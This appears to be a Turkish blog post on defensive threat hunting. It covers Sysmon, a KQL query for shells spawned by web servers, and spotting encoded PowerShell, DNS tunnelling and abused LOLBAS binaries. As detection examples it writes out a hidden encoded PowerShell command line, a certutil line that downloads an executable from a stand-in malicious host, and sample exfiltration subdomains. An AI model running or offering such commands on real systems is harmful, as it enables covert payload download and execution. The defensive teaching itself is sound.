İçeriğe geç
Sedat Özdemir
Yazılar

blue-team

Sessizliğin Arkasındaki Tehlikeyi Aramak: Oturup Beklemek mi, Avcıya Dönüşmek mi?

İçeride birileri varken sistemlerin tıkır tıkır çalıştığını sanabilirsin. Threat hunting ile o görünmez misafirleri nasıl yakalarsın, gel birlikte bakalım.

Sedat Özdemir
· 4 dk okuma

Sisteme giriş yaptın, dashboard'un yemyeşil, hiçbir alarm çalmıyor. Her şey harika görünüyor değil mi? İşin aslı, en büyük tehlikeler genelde o hiçbir alarmın çalmadığı "sessiz" anlarda gizli oluyor. Yıllardır hem saldırı hem savunma tarafında koştururken şunu fark ettim: Bir saldırgan içeriye sızdığında hemen ortalığı birbirine katmıyor. Sessizce süzülüyor, yetki yükseltiyor ve izini kaybettiriyor. İşte burada devreye senin o meşhur SIEM cihazının vermediği o "his" giriyor.

Geçenlerde bir projede başımıza geldi; her şey normal görünüyordu ama bir kullanıcının mesai saatleri dışındaki DNS trafiğinde garip bir yoğunluk vardı. Eğer sadece "firewall bir şey yakalarsa bakarım" kafasında olsaydık, o veri sızıntısını muhtemelen aylar sonra fark edecektik. Threat hunting (tehdit avcılığı) tam da bu noktada başlıyor. Yani oturup "birileri kapıyı kırsa da alarm çalsa" diye beklemek yerine, "içeride birileri olabilir, hadi onları bulalım" diyerek sahaya inmekten bahsediyorum.

Hipotez Kurmakla Başla

Bana en çok sorulan sorulardan biri: "Nereden başlayacağız?". Cevap basit ama uygulaması sabır istiyor: Hipotez kurarak. Kafanda şu soruyu canlandırman lazım: "Eğer ben saldırgan olsaydım ve bu şirketin sistemlerine sızsaydım, kendimi nasıl gizlerdim?"

Mesela bir hipotez atalım ortaya: "Saldırganlar, sistemde kalıcılık (persistence) sağlamak için zamanlanmış görevleri (scheduled tasks) kullanıyor olabilir." Bak, bu harika bir başlangıç noktası. Artık elinde devasa bir log yığını yerine, bakman gereken spesifik bir alan var.

Sysmon: Senin Gözün Kulağın

Eğer Windows dünyasındaysan ve Sysmon (System Monitor) kullanmıyorsan, aslında karanlıkta el yordamıyla ilerliyorsun demektir. Standart Windows logları bazen çok yüzeysel kalabiliyor. Sysmon ise sana "kim, kimi, ne zaman, hangi komutla çalıştırdı" bilgisini altın tepside sunuyor.

Özellikle Event ID 1 (Process Creation) benim favorim. Bir saldırganın en çok iz bıraktığı yer burasıdır. Mesela, cmd.exe veya powershell.exe gibi araçların w3wp.exe (IIS) tarafından çalıştırıldığını görürsen, orada durup bir düşünmen lazım. Normal şartlarda bir web sunucusu neden PowerShell çalıştırsın ki? Muhtemelen bir web shell vakasıyla karşı karşıyasın.

Şimdi senin için basit bir KQL (Kusto Query Language) örneği hazırladım. Eğer Azure Sentinel veya benzeri bir yapı kullanıyorsan, bu sorgu hayat kurtarabilir:

DeviceProcessEvents
| where InitiatingProcessFileName in~ ("w3wp.exe", "httpd.exe", "nginx.exe")
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "bitsadmin.exe")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine

Bu sorgu sana web sunucularının altında çalışan şüpheli komut satırı işlemlerini getirir. İşin aslı, bu kadar basit bir sorgu bile bazen haftalarca süren bir sızıntıyı saniyeler içinde ortaya çıkarabiliyor.

PowerShell'in Karanlık Tarafı

Biliyorsun, PowerShell saldırganların en sevdiği oyuncak. "Living off the Land" dediğimiz, sistemdeki yerleşik araçları kullanarak saldırı yapma tekniğinin başrol oyuncusu. Saldırganlar genelde komutlarını gizlemek için Base64 encode yöntemini kullanırlar.

Loglarında şöyle bir şey gördüğünü hayal et: powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABjID0A...

Burada dikkat etmen gereken şey -EncodedCommand parametresi. Eğer threat hunting yapıyorsan, bu tarz uzun ve anlamsız karakter dizilerini avlaman lazım. Ben genelde analiz yaparken komut satırı uzunluğuna (command line length) bakarım. Eğer bir PowerShell komutu 500 karakterden uzunsa, orada kesin bir bit yeniği vardır.

Bunu tespit etmek için basit bir Python scriptiyle loglarındaki entropiyi (karmaşıklığı) ölçebilirsin. Saldırganların kullandığı o karmaşık, anlamsız komutların entropisi her zaman normal kullanıcı komutlarından daha yüksektir.

DNS Tünelleme: Sessizce Dışarı Sızmak

Veri sızıntısı (exfiltration) dendiğinde akla hemen FTP veya HTTP üzerinden dosya yüklemek gelir ama profesyoneller daha sinsi yöntemler kullanır. DNS protokolü bunun için biçilmiş kaftan. Firewall genelde DNS trafiğine (53. port) çok karışmaz, "herkes internete çıkabilsin" diye açık bırakılır.

Saldırgan, veriyi küçük parçalara bölüp DNS isteklerinin içine (subdomain olarak) gömer. Örneğin: parca1-sifreli-veri.kotuniyetli-domain.com parca2-sifreli-veri.kotuniyetli-domain.com

Eğer loglarında aynı domain için çok kısa sürede binlerce farklı subdomain isteği görüyorsan, birileri içeriden veri taşıyor olabilir. Bunu yakalamak için şu basit mantığı kullanabilirsin: "Eşsiz (unique) subdomain sayısı / Toplam DNS isteği" oranı eğer çok yüksekse, o domain'i incelemeye al.

Küçük Bir İpucu: LOLBAS Projesini Takip Et

İşin sadece teknik kısmında boğulma, saldırganların hangi araçları nasıl kullandığını bilmen lazım. "LOLBAS" (Living Off The Land Binaries, Scripts and Libraries) projesi bu konuda harika bir kaynak. Windows üzerindeki meşru dosyaların (mesela certutil.exe) nasıl dosya indirmek veya zararlı çalıştırmak için kullanılabileceğini burada görebilirsin.

Bir keresinde saldırganın certutil.exe kullanarak uzak sunucudan bir .exe indirdiğini görmüştük. Görünüşte sistem dosyası, hiçbir antivirüs uyarı vermiyor ama yaptığı iş tamamen kötü niyetli.

certutil.exe -urlcache -split -f http://kotuniyetli.com/zararli.exe C:\temp\update.exe

Eğer loglarında certutil ile -urlcache parametresinin yan yana geldiğini yakalarsan, hemen o makinenin fişini çekmesen bile sıkı bir incelemeye al derim.

Her Şeyi Otomatize Edemezsin

Sektörde sürekli "yapay zeka her şeyi bulacak", "şu aracı alırsan avcıya ihtiyacın kalmaz" gibi söylemler duyuyorum. Bunlara pek kulak asma. Threat hunting, makine öğrenmesinden ziyade bir insan sezgisi ve tecrübesi işidir. O aracı geliştiren de bir insan, o saldırıyı yapan da.

Senin yapman gereken, sistemini çok iyi tanımak. "Normal" olanın ne olduğunu bilmezsen, "anormal" olanı asla bulamazsın. Benim tavsiyem; her sabah kahveni içerken son 24 saatin "en çok bağlantı kuran IP adresleri" veya "en çok çalışan process'ler" listesine bir göz atman. Bir süre sonra gözün aşina olacak ve garip bir şey gördüğünde o "bir şeyler ters gidiyor" hissini hemen yakalayacaksın.

Öğrenmeye Devam

Bu işin sonu yok, her gün yeni bir teknik çıkıyor. Bugün Sysmon diyoruz, yarın başka bir şey diyeceğiz. Ama mantık hep aynı: Merak et, sorgula ve varsayımlarını test et. Kendi laboratuvarını kur, kendi zararlılarını çalıştır ve loglarda neye benzediklerini gör. Saldırgan gibi düşünmeyi öğrenmeden, iyi bir avcı olamazsın.

Bir dahaki sefere loglara bakarken sadece alarm beklemekle yetinme; "Burada olmaması gereken ne var?" diye sor. İşin aslı, o görünmez misafiri yakaladığında alacağın o profesyonel tatmin duygusu, bütün o sıkıcı log analizlerine değecek.

Avın bol olsun!

İlgili yazılar